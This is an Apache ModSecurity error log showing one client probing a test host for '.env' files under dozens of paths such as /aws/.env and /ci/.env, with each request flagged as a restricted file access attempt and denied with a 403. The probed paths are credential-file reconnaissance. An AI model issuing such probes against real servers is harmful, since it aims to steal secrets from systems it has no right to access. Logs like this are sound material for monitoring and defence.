[Wed Feb 25 06:04:54.652077 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwgAAAAY&quot;]
[Wed Feb 25 06:04:54.722454 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19egAAAAE&quot;]
[Wed Feb 25 06:04:54.722753 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19egAAAAE&quot;]
[Wed Feb 25 06:04:54.722936 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19egAAAAE&quot;]
[Wed Feb 25 06:04:54.828216 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /charts/liveobjects/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwwAAAAY&quot;]
[Wed Feb 25 06:04:54.828518 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwwAAAAY&quot;]
[Wed Feb 25 06:04:54.828716 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZwwAAAAY&quot;]
[Wed Feb 25 06:04:54.834068 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment4/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19ewAAAAE&quot;]
[Wed Feb 25 06:04:54.834368 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19ewAAAAE&quot;]
[Wed Feb 25 06:04:54.834546 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19ewAAAAE&quot;]
[Wed Feb 25 06:04:54.914025 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /audio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19fAAAAAE&quot;]
[Wed Feb 25 06:04:54.914306 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19fAAAAAE&quot;]
[Wed Feb 25 06:04:54.914520 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aZ6C9in6hL63qXWzsp19fAAAAAE&quot;]
[Wed Feb 25 06:04:54.943011 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chat-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxAAAAAY&quot;]
[Wed Feb 25 06:04:54.943305 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxAAAAAY&quot;]
[Wed Feb 25 06:04:54.943484 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxAAAAAY&quot;]
[Wed Feb 25 06:04:54.980575 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chiminey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxQAAAAY&quot;]
[Wed Feb 25 06:04:54.980901 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxQAAAAY&quot;]
[Wed Feb 25 06:04:54.981101 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ6C9vjNQqDNAmB2zjqZxQAAAAY&quot;]
[Wed Feb 25 06:04:55.163290 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19fwAAAAE&quot;]
[Wed Feb 25 06:04:55.163602 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19fwAAAAE&quot;]
[Wed Feb 25 06:04:55.163808 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19fwAAAAE&quot;]
[Wed Feb 25 06:04:55.189877 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZxwAAAAY&quot;]
[Wed Feb 25 06:04:55.190181 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZxwAAAAY&quot;]
[Wed Feb 25 06:04:55.190384 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZxwAAAAY&quot;]
[Wed Feb 25 06:04:55.238659 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /azure/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gAAAAAE&quot;]
[Wed Feb 25 06:04:55.238982 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gAAAAAE&quot;]
[Wed Feb 25 06:04:55.240182 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gAAAAAE&quot;]
[Wed Feb 25 06:04:55.270211 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyAAAAAY&quot;]
[Wed Feb 25 06:04:55.270539 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyAAAAAY&quot;]
[Wed Feb 25 06:04:55.270741 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyAAAAAY&quot;]
[Wed Feb 25 06:04:55.328539 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/mutual-fund-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyQAAAAY&quot;]
[Wed Feb 25 06:04:55.328825 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyQAAAAY&quot;]
